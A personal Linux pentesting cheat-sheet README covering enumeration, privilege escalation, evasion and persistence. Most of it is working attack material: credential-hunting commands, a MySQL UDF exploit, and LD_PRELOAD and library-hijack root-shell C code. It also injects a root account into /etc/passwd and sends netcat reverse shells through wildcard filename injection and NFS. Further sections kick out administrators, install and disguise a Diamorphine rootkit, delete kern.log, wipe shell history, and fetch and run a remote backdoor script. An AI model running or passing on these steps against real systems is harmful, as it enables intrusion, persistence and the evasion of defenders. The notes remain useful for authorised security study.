Linux-Pentest

A repository to store some linux exploitation and techniques I've seen during my studies.

List of contents:

Enumeration
- Manual Enumeration
- Automated Tools
Privilege Escalation:
Linux-evasion:
Persistence:
Pivoting
Special Thanks

Enumeration:

Manual Enumeration:

When gaining access to a Linux machine, the most crucial step is enumeration. We need to determine our identity, identify the system's current state, discover what is present, and gather other relevant information.

General:

User:

whoami #command to identify the current user

User id and Groups id:

id #command to list the groups the current user belongs to

System uptime:

uptime #command to retrieve the system uptime and current date

History:

history #command to display the command history

Enviroment variables:

env or echo $PATH #command to list environment variables

Users info:

cat /etc/passwd or getent passwd #command to read the list of users

Login history:

lastlog #command to retrieve the login history

Logged-in users:

w #command to retrieve who is currently login

Groups:

cat /etc/group or getent group <name> #command to list groups

Credentials harvesting:

/etc/fstab may contain credentials

cat /etc/fstab #command to read storage devices

Credentials in config files:

find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null #command to search for config file with possible credentials

Password/Passwd regex:

find / -type f -exec grep -li 'PASSWORD\|PASSWD\|PASS' {} + 2>/dev/null #command to search for any files containing the words password or passwd

or:

find / -type f -exec grep -li 'PASSWORD' {} + 2>/dev/null

Information harvesting:

Hidden file:

find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null #command to search for hidden files

Hidden folders:

find / -type d -name ".*" -ls 2>/dev/null #command to search for hidden folders

History files:

find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null #command to search for history files

Config files:

find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null #command to search for config files

Proc informations:

find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n" #command to read proc filesystem to retrieve information about processes, hardware

Script files:

find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share" #command to search for scripts files

Capabilities in all file system:

getcap -r / 2>/dev/null

Capabilities in binary path:

find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \; #command to search any capabilities

Temp files:

ls -l /tmp /var/tmp /dev/shm #command to list temporary files

Crontabs:

cat /etc/crontab #comand to read crontabs

Processes:

ps -faux #command to list all running processes

Installed apps and version:

apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list #command to list application installed and their versions

Sudo permission on binaries:

sudo -l #command to show which binaries can be run with sudo

Sudo version:

sudo -V #command to see the sudo version

Services:

systemctl list-units --type=service or service --status-all #commands to display information about the services

Log Reading

System Logs path:

ls -la /var/log/

Audit logs:

aureport --tty | less   #not present on every OS

OS:

Os information:

uname -a #command to display OS and hardware information

Release:

cat /etc/os-release #command to read OS release information

Cpu info:

lscpu #command to display information about the CPU

Block and partitions:

lsblk #command to list available block devices and partitions

Disk space and partitions:

df -h # command to display disk space usage for partitions

Login shells:

cat /etc/shells #command to read valid login shells

Printers:

lpstat #command to check for the presence of printers

Network:

Hostname:

hostname #command to display the server name

Get machine ip inside a docker with no network tool:

hostname -I   #get all the ip addresses of the machine

Network interfaces subnets and ip:

ip a #command to display information about network interfaces and subnets

Routing table:

netstat -rn #command to retrieve the routing table

Internal DNS:

cat /etc/hosts #command to read the internal DNS

Internal DNS configuration:

cat /etc/resolv.conf #command to read DNS configuration

Open ports with relative process:

ss -tulpn #command to list open ports and associated processes

Detect Defense mechanisms:

AppArmor:

ls -d /etc/apparmor* #command to list AppArmor configuration folders (control access)

Grsecurity:

uname -r | grep "\-grsec" #command to check for the Grsecurity (kernel patch)

Execshield:

grep "exec-shield" /etc/sysctl.conf #command to check for Execshield configuration (general protectiom)

SELinux:

sestatus #command to check the status of SELinux (policy model)

ASLR protection:

cat /proc/sys/kernel/randomize_va_space #comand to check ASLR (memory defense)

Limited enumeration:

port scanner with netcat:

for i in {1..65535}; do nc -v -n -z -w 1 <ip> $i; done   #take a lot of time

subnet (/24) scanner with netcat (specific port):

for i in {1..254}; do nc -v -n -z -w 1 10.10.1.$i <port_to_check>; done   #chose a port to scan among the subnet

subnet scan with nmap:

nmap -sn 10.10.10.0/24 #scan a subnet of your choice

Automated Tools:

There are tools that can automate enumeration such as:

Privilege Escalation:

Hardcoded passwords:

When we execute commands that requires authentication, there is often a flag (like -p or -P), where we can write the password in the command itself.

An interesting place for chaining LFI vulns or password enumeration is the file .htaccess for apache servers usually located in /var/www/html/.htaccess where there are users password

Config files:

We can try to search for those passwords around, as we already saw in Information harvesting section.

History files:

In a production environment the history file should have this line in place: export HISTFILE=/dev/null otherwise all the commands are visibles to whoever has access to the file.
We can inspect the content of the history files in search of some passwords left around:

cat ~/.*history | less

Running commands:

When we start some services via command line it is possible to see the command from all the users on the machine:
For example if some privileged user enters in mysql with an hardcoded password we can see the command trough:

ps -faux

Or we can also listen for spawning processes with Pspy64 or Pspy32.

Privesc via mysql admin:

If the mysql service is running as root we can use a popular exploit to execute commands: We will use Raptor exploit that we will compile on our local machine as follow.

curl https://www.exploit-db.com/download/1518 -o raptor.c
gcc -g -c raptor.c -fPIC
gcc -g -shared -Wl,-soname,raptor.so -o raptor.so raptor.o -lc

Once we have done that we can upload the raptor.so file to the victim machine (see file upload part). To get an rce we need to run the following commands in mysql:

mysql -u root <pass> #if we have the password

Now in interactive shell:

use mysql;
create table testing(line blob);
insert into testing values(load_file('/tmp/raptor.so'));
select * from testing into dumpfile '/usr/lib/mysql/plugin/raptor.so';
create function test_check returns integer soname 'raptor.so';
select test_check('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

By doing so we have created a copy of bash with the SUID bit set.

Weak file permissions:

If we want to explore manually the file system to be a bit stealthier we can run this command:

ls -la <file>

to get all the file permissions and attributes (pretty basic).

If we have those permissions to the files below, we can privesc to root(99% of times):

/etc/passwd write
/etc/shadow read write

/etc/passwd write right:

The /etc/passwd file was once used to store users password hashes, now it just contains users and informations word readable but (in some systems) we can still insert an hash and login with that.

We need to create the hash of the password we choose and it is also important to use the same algorithm yescrypt as the linux system to remain as hidden as possible:

Command to generate the hash:

openssl passwd <password>

example output: $1$f7E3tyrc$knAMNJuzDNKX1HX7k/Vbn1

Now we can inject the password in a new root user:

echo 'newroot:$1$f7E3tyrc$knAMNJuzDNKX1HX7k/Vbn1:0:0:root:/root:/bin/bash' >> /etc/passwd

Now we can login with our newroot user:

su newroot  #insert the previous password

/etc/shadow write right:

We can do pretty much the same thing that we did with /etc/passwd, this time we need to generate a different hash:

mkpasswd -m sha-512 <password> 
mkpasswd -m yescrypt <password>

Sha-521 and Yescrypt are shown because the former was used in older versions while the latter was used in current ones

example sha-512: $6$Yl1wFZB8OQKdaRtT$9n15GuPRsK.cpm9lMHSjqyDA2FtGHPD/FOjT5hLpshQmIu6Eppp66hmGhZnYZZoAQAgKNQzMMNlrw/Z8FNTFO/

example yescrypt: $y$j9T$WWQkTwY3K4ypmjLPoz93h1$V08ZrcWG9OXtqM3wIWEF0ocUmJwxG7WPr19N5/nS9G2

Once we have the hash we can change the occurency on the file:

root:<new_hash>:17298:0:99999:7:::

example with sha-512: root:$6$Yl1wFZB8OQKdaRtT$9n15GuPRsK.cpm9lMHSjqyDA2FtGHPD/FOjT5hLpshQmIu6Eppp66hmGhZnYZZoAQAgKNQzMMNlrw/Z8FNTFO/:17298:0:99999:7:::

example with yescrypt: root:$y$j9T$WWQkTwY3K4ypmjLPoz93h1$V08ZrcWG9OXtqM3wIWEF0ocUmJwxG7WPr19N5/nS9G:17298:0:99999:7:::

Now we can login as root:

su root #insert nuovapassword

/etc/shadow read right:

The /etc/shadow, as we saw above contains all the user's password hashes, so we can crack them to recover passwords:

First step, We can identify the hash type with haiti or hashcat auto detect mode:

sudo gem install haiti-hash
haiti '<hash>'

hashcat  <hash_file>

Then save in a file:

echo -n '<password_hash>' > hash_to_crack.hash

Now we can either crack with john:

john <hash_to_crack>.hash -w=/usr/share/wordlists/rockyou.txt

or with hashcat (using also gpus):

hashcat hash_to_crack.hash

For modern systems like kali or ubuntu we can crack the yescrypt hash like this:

john hash_to_crack.hash --format=CRYPT -w=/usr/share/wordlists/rockyou.txt

Commands to search for other files:

We can still search recursivly those files other files with weak permissions via the following commands(may set allarms):

This command we will find all the files owned by OUR CURRENT USER

find / -user `whoami` -type f -exec ls -la {} \; 2>/dev/null | grep -v '/proc/*\|/sys/*'

This command we will find all the files of THE GROUP that we ARE IN

find / -group `whoami` -type f -exec ls -la {} \; 2>/dev/null | grep -v '/proc/*\|/sys/*'

This command we will find files that are WORD WRITEABLE

find / -writable ! -user `whoami` ! -group `whoami` -type f -exec ls -al {} \; 2>/dev/null | grep -v '/proc/*\|/sys/*'

Eventually we could also check for all the files word readable on the file stytem (they are a lot)

#We can run this command on specific directories:

find /opt/ -readable ! -user `whoami` ! -group `whoami` -type f -exec ls -laR {} \; 2>/dev/null
find /home/ -readable ! -user `whoami` ! -group `whoami` -type f -exec ls -laR {} \; 2>/dev/null
find /var/ -readable ! -user `whoami` ! -group `whoami` -type f -exec ls -laR {} \; 2>/dev/null
find /tmp/ -readable ! -user `whoami` ! -group `whoami` -type f -exec ls -laR {} \; 2>/dev/null

Shell escape sequence:

Some binaries in linux has a functionality where, by pressing a keyboard combination, we can spawn a shell, that's dangerous when one of those binaries is allowed to run with sudo.

This is a list containing all the binaries that have a shell escape sequence

In general the most frequent way is by typing:

!/bin/sh

It may vary based on the programming language of the linux file.

Sudo env variables:

when we call the sudo programm on linux we have 3 options:

File to run with sudo privilege
Path variable to set when calling the sudo command
Enviroment variable to set, keep or reset

Those variables MUST be resetted, or at least changed from the user ones in fact if a user can keep the LD_PRELOAD or LD_LIBRARY_PATH he can inject his own shared object before or while running the sudo executable.

There are also persistence techniques available at this link

LD_PRELOAD:

This variable loads the shared object to be run BEFORE the executable to run with sudo start to exploit this we need to create this C script named preload.c:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

now we need to compile it with:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

Once we compiled either on the target or locally we need to have the file preload.so on the target machine.

Now we can set the LD_PRELOAD variable to our shared object file and get a root shell:

sudo LD_PRELOAD=/tmp/preload.so <any_programm_to_run_with_sudo> #use your path to the .so file

LD_LIBRARY_PATH

This variable set the path of the shared library that the file runned with sudo will pick, to check which shared library our executable is importing we can do:

ldd <file_we_can_run_with_sudo> #here an example with /usr/bin/apache2

example output:

linux-vdso.so.1 =>  (0x00007fffa5ac3000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f75564ba000)
libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007f7556296000)
libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007f755605c000)
libpthread.so.0 => /lib/libpthread.so.0 (0x00007f7555e40000)
libc.so.6 => /lib/libc.so.6 (0x00007f7555ad4000)
libuuid.so.1 => /lib/libuuid.so.1 (0x00007f75558cf000)
librt.so.1 => /lib/librt.so.1 (0x00007f75556c7000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f7555490000)
libdl.so.2 => /lib/libdl.so.2 (0x00007f755528b000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f7555063000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7556977000)

let's hikjack for example the libuuid.so.1 file.

We need to create a C code named library_path.c:

#include <stdio.h>
#include <stdlib.h>

static void syschecker() __attribute__((constructor));

void syschecker() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

Now we can compile it with:

gcc -o /tmp/<.so_file_imported_by_sudofile> -shared -fPIC library_path.c

Then we just need to run the file by setting the path of the shared libraries:

sudo LD_LIBRARY_PATH=/tmp <file_to_run_with_sudo>  #apache2 for example

Sensitive mails

In a enterprise context official informations are exchanged via mails.

If the user uses a client on the machine (not a webclient) means that mails are saved to the file system in /var/mail/<username>.

We can hope in some information leaking or plain text password exchanged in mails, to check we can simply run:

ls -la /var/mail/
cat /var/mail/<username>   #all mails of that user, output can be pretty massive

Sudo nginx:

If we find a nginx binary among the output of sudo -l we can escalate privilege:

Sudo nginx lfi:

If we can run nginx as sudo we can't directly spawn an elevated shell, however we can get an lfi via this config file in /tmp/lficonf.conf:

user root;    #change with the user u can run the sudo command as
worker_processes 3;

events {
    worker_connections 1024;
}

http {
    server {
        listen 7331; #chose a port where expose the filesystem
        root /;  #if we can run nginx as another user we can see his file
        autoindex on;
    }
}

Once we have created this config we can start the server with:

sudo /usr/sbin/nginx -c /tmp/lficonf.conf

Sudo nginx rce:

If the LFI above is not enough for us we can try to get RCE (ssh need to be open).
With the technique above we will add a HTTP method to the nginx configuration file, the PUT method permit us to upload a public key in the ssh folder of the user.

We first need to create the SSH key pair on our local machine:

ssh-keygen -t rsa -b 2048 -C '<user>@<host>' -f /tmp/nginx_key

Now we need to create this config file on the remote server in /tmp/rcenginx.conf:

user root;    #change with the user you can run nginx
worker_processes 3;

events {
    worker_connections 1024;
}

http {
    server {
        listen 7332;    #chose the port to expose
        root /;
        autoindex on;
        dav_methods PUT;    #this is the method for file upload
    }
}

We can start the server with:

sudo nginx -c /tmp/rceconf.conf

Now back to our attacker machine we can upload the public key we generated:

curl -X PUT http://<remote_victim_ip>:<remote_victim_port>/root/.ssh/authorized_keys -d "$(cat /tmp/nginx_key.pub)"  #change root folder with the user that tou have access to

Now we can login with SSH and private key:

ssh -i /tmp/nginx_key root@<remote_victim_ip> #change the user with the one that u managed to compromise

Cron jobs:

Cron jobs are automatic tasks that runs every range of time indicated by a time mask are written in the /etc/crontab file and they follow this pattern:

#VARIABLES TO SET:

SHELL=/bin/sh     
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# CRONTAB FORAMT:
.---------------- minute (0 - 59) '*' means every unit of measure 
|  .------------- hour (0 - 23)
|  |  .---------- day of month (1 - 31)
|  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
|  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
|  |  |  |  |
*  *  *  *  *   user    <command_to_be_executed>
*  *  *  *  *   root    /bin/ls -la | /bin/grep 'a'

Writeable path:

If we can controll the path where the crontab is running (as elevated user) we can change the command.

Path must be first in order, otherwise our binary will come after the legit one.

Wildcard Injection:

If a crontab has a command with a wildcard (and we can supply the value of the wildcard), we can get command injection.

Here we can see an example of wildcard:

* * * * * root /bin/ls -la /tmp/*

We can create a file name injection:

cd /tmp/
touch -- '$(busybox nc <ip> <port> -e bash)'  #enjoy your shell

SUID/SGID binaries:

If we want to automatically run binaries with owner permissions, we can assign the SUID bit to the binary. This way, we don't need to switch users to run a command. Although it is quite helpful, this feature can also be dangerous because if the binary lacks proper protection, it retains the user token, which can be abused.

To assign SUID permission we can do:

chmod u+s <binary> #assign the user setuid
chmod 4755 <bianry> #assign the bit in octal

To assign SGID we can do:

chmod +g <binary>  #assign group id
chmod 2755 <binary>  #assign the bit in octal

If we want to set both SUID and SGID:

chmod +sgx <binary>  #assign SUID SGID and executable bit
chmod 6755 <binary>

To find those files in the filesystem, we can use this command:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

we can also run two separate commands in order to find SUID or SGID: SUID:

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

SGID:

find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

For a general overview you can check this page with a list of vulnerable binaries to SUID/SGID.

SUID/SGID shared object import:

When an ELF file is compiled it link all the necessary libraries to work, and call them at runtime.
If we run this command in fact:

strace ./<binary>

We can see all the library imported with the syscall:

access("<shared_library>", <access_flag>)

When a library is found it will use another syscall:

open("<shared_library>", O_RDONLY)

If the library it's not found in the path, the access syscall will print this error:

access("<shared_library>", <access_flag>)         = -1 ENOENT (No such file or directory)

We can check if we have write permissions to the <shared_library>.

If that is the case we can create our own library named hijack.c:

#include <stdio.h>
#include <stdlib.h>

static void unitTester() __attribute__((constructor));

void unitTester() {
        setuid(0);
        system("/bin/bash -p");
}

Now we can compile it in the path that we can write:

gcc -shared -fPIC -o <shared_library> hijack.c

Eventually we can execute the SUID binary getting a shell as the owner of the binary.

SUID/SGID relative path

If we have a custom SUID/SGID ELF file is important (when possible) to reverse-engineer what the binary does.
For example if the binary has a string system it's highly probable that it will run bash commands.

Reverse engineering:

To reverse engineer the binary we can do a lot as we can see here
For a rapid overview we can limit our self to strings, cat and ghidra:

Strings:

strings <suid/sgid_binary>

if we see a bash command called without absolute path for example:

cp /home/user/backupfile /backup/backup1

SUID/SGID shell function

When we find, from the Reverse engineering part a function system calling commands we can try to use a bash function (It is a feature of Bash versions <4.2-048>).

For example we find this command inside a SUID binary:

system('/usr/bin/ls /home/user/');

We can create a bash function named /usr/bin/ls and export it, so when we call the SUID binary executing that command will result in code execution:

function /usr/sbin/ls { /bin/bash -p; }
export -f /usr/sbin/ls

SUID/SGID bash PS4 debugging

ONLY WORKS WITH BASH BELOW 4.4
YOU CAN GET BASH VERSION WITH bash --version

When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

We can run the SUID binary and setting the PS4 variable to a command that we want to execute as SUID user:

env -i SHELLOPTS=xtrace PS4='$(<command_to_run_elevated>)' <suid_script>

Doas

DOAS, short for "do as," is a security program for executing commands with elevated privileges on Unix-like systems.
It serves as a more secure and straightforward alternative to sudo.
While its default implementation is in OpenBSD, it can also be found in other operating systems.

Main configuration file:
- OpenBSD: /etc/doas.conf
- Other systems: /usr/local/etc/doas.conf or /etc/doas.conf
User Config file:
- OpenBSD: /etc/doas.user
- Other systems: /usr/local/etc/doas.user or /etc/doas.user

SSH keys:

Probably the best way to login inside ssh is via a private key.
In order to do that we need to generate the private key (that the client will present to the server) and the public key (that the server must have to validate the private key).
The key pair should be generated on the client machine, then the public key should be added to the /home/<user>/.ssh/authorized_keys file.

IT admin often generate the key pair on the server and only then copy the private key to the clients.

If we have access to the user's ssh folder we can either steal the private key or add our public key to the authorized_keys file:

Private key:

If we find a key either in the /.ssh/ folder or somewhere in the file-system we can access to the machine by simply:

#copy the private key on you attack machine in victim_key
chmod 600 victim_key
ssh -i victim_key <user>@<ip> [-p <ssh_port>]

Public key:

If we didn't find any private key but we have write permissions over the user home directory we can add our own key:

#generate key pair on attacker machine
ssh-keygen -t rsa -b 2048 -C '<user>@<host>' -f /tmp/ssh_key
#save the public key on the victim machine in /tmp/pub
cat /tmp/pub >> /home/<user>/.ssh/authorized_keys #add the key to the file if already exits, otherwise use > instead of >>

eventually log in with the private key:

ssh -i /tmp/ssh_key <host>@<ip> [-p <ssh_port>]

NFS:

NFS (Network File System) is a technology that implements file systems shared on the network, it uses (by default) ports 111 (TCP and UDP) and 2049 (TCP and UDP).

It's a practical way to share system volume without reconfiguring them all the times, by default the client of the NFS has the nobody privilege

NFS has also a feature called no_root_squash and no_all_squash that maps the UID/GID of the nfs client to the actual UID/GID of the user that started the NFS.
This means we can access the NFS remotly and create a SUID reverse shell.

First we need to list the mounting points from our attacker machine with:

showmount -e <victim_ip>

Then we need to create a mount point on our attacker machine:

mkdir /mnt/nfs_mounting
mount -t nfs [-o vers=2] <victim_ip>:/<mounting_point_found> /mnt/nfs_mounting -o nolock

Once we have the share on our system we can create the revshell:

cd /mnt/nfs_mounting
echo -e '#!/bin/bash\nbusybox nc <attacker_ip> <attacker_port> -e bash' > libtest.sh
chmod +xs libtest.sh

Now we just need to start the listener and execute the reverse shell either inside the victim machine or from the NFS.

Mail forward rce:

If we have arbitrary file write on the home directory of the user, but still limited options. We can try to write a file .forward, this file is utilized for email forwarding in Unix systems, enabling users to redirect their incoming emails to another email address or a command.

we can create the file:

echo '|/dev/shm/pwn' > .forward
echo -e '#!/bin/bash\nchmod +xs /bin/bash' > /dev/shm/pwn
chmod +x /dev/shm/pwn

Now that everything is setup, we can send a mail to the target user:

echo 'Hi' |mail -s 'Test Mail' <target_user>

Kernel Exploits:

If the manual enumeration and the automated one don't produce any results, we can use the kernel exploits, which as the name suggests, exploit internal vulnerabilities, and it's good to be aware of them as they can make life easier in ports.

DISCLAIMER:

attention as kernel exploits can be unpredictable

CVE-2024-1086:

Working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make	#on local machine

upload to remote box, make executable and hopefully you are root

OverlayFS:

This exploit can be used to manipulate the Overlay Filesystem (a filesystem that allows multiple filesystems to be overlay so that they appear as a single one) to create a malicious payload (root-owned setuid binary) and escalate privileges.

Prerequisites:

If you enter the command uname -r, you check see that the kernel version is lower than 6.2

There are 2 POC one written in C and one in bash, for completeness both are included.

Poc in C:

First step, download the poc:

git clone https://github.com/xkaneiki/CVE-2023-0386.git
cd CVE-2023-0386

Second step, compiling the C code:

make all

Third step run the first command:

./fuse ./ovlcap/lower ./gc

Then in another shell (Enter via SSH if it's possible) on the same target machine run this command:

./exp

From a github repository this one

Poc in bash:

Poc written in bash requires to run a one-liner command:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

from a reddit post this one

Logrotate:

logrotate is a utility in the Linux operating system designed to manage the rotation, compression, archiving, and deletion of log files. This utility is useful to ensure that log files do not become excessively large.

Command to see the configuration:

cat /etc/logrotate.conf

If we want to exploit logrotate we need some prerequisites:

we need write permissions on the log files
logrotate must run as a privileged user or root
vulnerable versions (3.8.6, 3.11.0, 3.15.0, 3.18.0)

If we fulfill the prerequisites above we can proceed with the exploit called Logrotten:

git clone https://github.com/whotwagner/logrotten.git

We must create a payload file with for example a revshell inside:

echo -e '#!/bin/bash\n<script>' > /tmp/payload.sh
chmod +x /tmp/payload.sh

Then there are now two cases in order to compile the exploit:

Host machine use the following command:

gcc logrotten.c -o logrotten -static

Target machine use the following command:

gcc logrotten.c -o /tmp/logrotten

Execute with:

chmod +x /tmp/payload.sh
/tmp/logrotten -p /tmp/payload.sh <path_to_log_files>

DISCLAIMER:

The exploit doesn't always work at first try because is a race condition

DirtyPipe:

DirtyPipe allows to a normal user to write a read-only files such as /etc/passwd

affects linux kernel versions below 5.8

There is a bash script to check if the system is vulnerable, if the version is vulnerable, we can use this POC with the following commands:

First step copy and set up the exploit:

git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits

chmod +x compile.sh
./compile.sh

We now have two pocs available exploit-1 Which changes the root password to piped and makes a backup of /etc/passwd:

./exploit-1

While the second exploit-1 allows read-only SUID processes run as root to be injected:

find / -perm -4000 2>/dev/null

./exploit-2 /usr/bin/sudo

Looney Tunable:

We can abuse a kernel vulnerability in order to privesc to root. we can find all we need in the github repo

Sudo baron:

We can follow the guide on this repo:

https://github.com/0xdevil/CVE-2021-3156

CVE-2018-18955

We can follow the guid on this repo and download one of the releases at:

https://github.com/scheatkode/CVE-2018-18955

Linux evasions:

In UNIX like world, Similary to windows, we have detection techniques and security measures, in order to bypass them we need to out-smart those systems.

Bypass rbash

Some systems can have rbash installed, that adds a lot of problems, but we can bypass it:

vim   #we need to open vim and write:
<ESC>:set shell=/bin/bash <ENTER>  #we need to click esc and enter (vim stuff)
<ESC>:shell <ENTER>

We are now in a normal bash shell

Hidden session

!Require root privs!

When we log in a SSH connection our process is both logged and showed in the session just by pressing w on terminal:

w  #run w command

# EXAMPLE OUTPUT:

ubuntu-s tty1     -                16:26   10:43   0.02s  0.01s -bash
ubuntu-s pts/0    192.168.1.8      16:38    0.00s  0.00s  0.00s w

As we can see, our session and IP are exposed

To hide this in the w command we can log in using:

ssh -T <user>@<ip>   #log in without a tty
w
# EXAMPLE OUTPUT:

 16:28:10 up 2 min,  1 user,  load average: 0.66, 0.73, 0.32
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ubuntu-s tty1     -                16:26   13.00s  0.02s  0.01s -bash

Our IP and session can't be seen easily, but we can still be caught:

ps -faux | grep notty

# EXAMPLE OUTPUT:
ubuntu-+    2024  0.0  0.0  17356  8084 ?        S    16:27   0:00      \_ sshd: ubuntu-server@notty

We can see that our session appears in the sshd daemon child process.

Kick Admins

!Require root privs!

When we are inside a box, it is important to keep the controll for as much time as we can; so we need to learn how to mess with users connected to the box.

We can kill interactive shell:

ls -la /dev/pts/   #we can check all the active shells with an encrement ID

#EXAMPLE OUTPUT:

total 0
drwxr-xr-x  2 root          root      0 May 30 21:54 .
drwxr-xr-x 20 root          root   4080 May 30 21:54 ..
crw--w----  1 ubuntu-server tty  136, 0 May 30 21:59 0
c---------  1 root          root   5, 2 May 30 21:54 ptmx

Once we find our target (session pts/0 in our case) we can terminate it:

pkill -t -9 pts/<session_id>   #/pts/0 in our example

We can do also better by kicking every ssh connected user (we need to enter with notty otherwise we will be kicked too):

kill `ps aux|grep pts| awk '{print $2}'`;

We can also kick all the session of a given user (for example we want to kick every sys_admin user than cahnge his password so he can't log in again):

pkill -9 -U <username>  #in our example sys_admin

We can also mess around with other users shell by writing inside it:

echo 'Hiiii i'm in your shell!!' > /dev/pts/<id_tty>

cat /dev/urandom > dev/pts/<id_tty> &  #be carefull user shell could crash

Rootkit

As we saw above, our process can be seen in clear even if we don't spawn a tty. To fully obfuscate the payload, we can try to install a rootkit named Diamorphine

To start we need to clone the repo in our local machine:

git clone https://github.com/m0nad/Diamorphine.git
cd Diamorphine
python3 -m http.server 80

Once we cloned the project, we can start a server to upload it to the victim and compile all the necessary there. From the victim machine we need to download 3 files from the Diamorphine server:

curl http://<our_server_ip>/diamorphine.c -o /tmp/diamorphine.c
curl http://<our_server_ip>/diamorphine.h -o /tmp/diamorphine.h
curl http://<our_server_ip>/Makefile -o /tmp/Makefile
cd /tmp/ make #compile the actual .ko file

Once the Kernel Module Object is compiled we can insert it:

sudo insmod diamorphine.ko

Once the module is loaded, we can start hollwoing processes; let's say we have our PID of the sshd daemon for the ssh with no tty (as we saw above). We can make a process vanish (from the process list but STILL RUNNING) with:

kill -31 <PID>

!The module insertion can be seen in the /var/log/kern.log so the first thing to do is to eleminate that file!

rm /var/log/kern.log

Since this module is getting pretty popular, we need to protect it against famous RootKit Hunter.

The file is just scanning for known strings inside the kernel moduel to search for malicious pattern; we just need to replace the suspicious strings. We can either do it manually when we download the Diamorphine.c repo:

mkdir -p  /var/tmp/.cache
git clone https://github.com/m0nad/Diamorphine /var/tmp/.cache
cd /var/tmp/.cache/
mv diamorphine.c /var/tmp/.cache/rk.c
mv diamorphine.h /var/tmp/.cache/rk.h
sed -i 's/diamorphine_secret/demonized/g' /var/tmp/.cache/rk.h
sed -i 's/diamorphine/demonizedmod/g' /var/tmp/.cache/rk.h
sed -i 's/63/62/g' /var/tmp/.cache/rk.h
sed -i 's/diamorphine.h/rk.h/g' /var/tmp/.cache/rk.c
sed -i 's/diamorphine_init/rk_init/g' /var/tmp/.cache/rk.c
sed -i 's/diamorphine_cleanup/rk_cleanup/g' /var/tmp/.cache/rk.c
sed -i 's/diamorphine.o/rk.o/g' /var/tmp/.cache/Makefile
sed -i 's/module_hide/module_h1dd3/g' /var/tmp/.cache/rk.c
sed -i 's/module_hidden/module_h1dd3n/g' /var/tmp/.cache/rk.c
sed -i 's/is_invisible/e_invisible/g' /var/tmp/.cache/rk.c
sed -i 's/hacked_getdents/hack_getdents/g' /var/tmp/.cache/rk.c
sed -i 's/hacked_kill/h4ck_kill/g' /var/tmp/.cache/rk.c
make -C /var/tmp/.cache/
sudo insmod /var/tmp/.cache/rk.ko

Remember to clear the bash history:

rm /home/<username>/.<shell_name>_history
ln -s /dev/null /home/<nome_utente>/.<nome_shell>_history   #redirect shell history commands to /dev/null
echo "HISTIGNORE='*'" >> /home/<utente>/.<nome_shell>rc  #most common .bashrc

The last command should be runned first, so no command will be logged

We can also use a tool that will do everyting (and more) for us. DemonizedShell is probably the best rootkit implanter and multi-purpose persistence tool out there; we just need to run:

sudo curl -s https://raw.githubusercontent.com/MatheuZSecurity/D3m0n1z3dShell/main/static/demonizedshell_static.sh -o /tmp/demonizedshell_static.sh && sudo bash /tmp/demonizedshell_static.sh
# select 08

Ping BackDoor

We can use the Demonized shell to implant the Pingoor backdoor, or we can also follow the guide.

sudo curl -s https://raw.githubusercontent.com/MatheuZSecurity/D3m0n1z3dShell/main/static/demonizedshell_static.sh -o /tmp/demonizedshell_static.sh && sudo bash /tmp/demonizedshell_static.sh
# select 09
#insert <attacker_ip>
#insert <attacker_port>

Start a listener on the atacker ip and server ip. then the attacker just need to send a ping to the victim and we will have a shell:

nc -lnvp <attacker_port>
#in another shell
ping -c 3 <victim_ip>

Then we will have a shell!

Immutable Files

We can create files that even root CAN'T DELETE! To do that we will use the CAP_LINUX_IMMUTABLE that sets the FS_IOC_SETFLAGS in order to make a file immutable.

We can choose our file sample (can be anything, from a text file to an ELF even SO), then we can set the flag (Require root privs)

sudo chattr +i <target_file>   # set the immutable bit to the file

to confirm that the file has the bit succesfully set, or to check if a file is been manipulated (deosn't require root privs) :

lsattr <target_file>

# example output:
----i----------------- test	# can't be deleted by root
---------------------- test_2	# can be deleted by root

with this technique we can alter a crontab file and let it point to a immutable payload/revshell file

Obfuscation:

Base64 encoding:

A way to evade signature-based detections is with command or strings obfuscation:

Example 1:

We can generate a base64 paylod of the command we'd like to run:

echo -n '<command_to_execute>' | base64 -w0

To execute it on the target machine:

echo -n '<base64_payload>' | base64 -d | sh

Example 2:

another base64 execution:

bash<<<$(base64 -d<<<'<base64_command>')

Hex encoding:

We can also use hexadecimal rapresentation

Example 1:

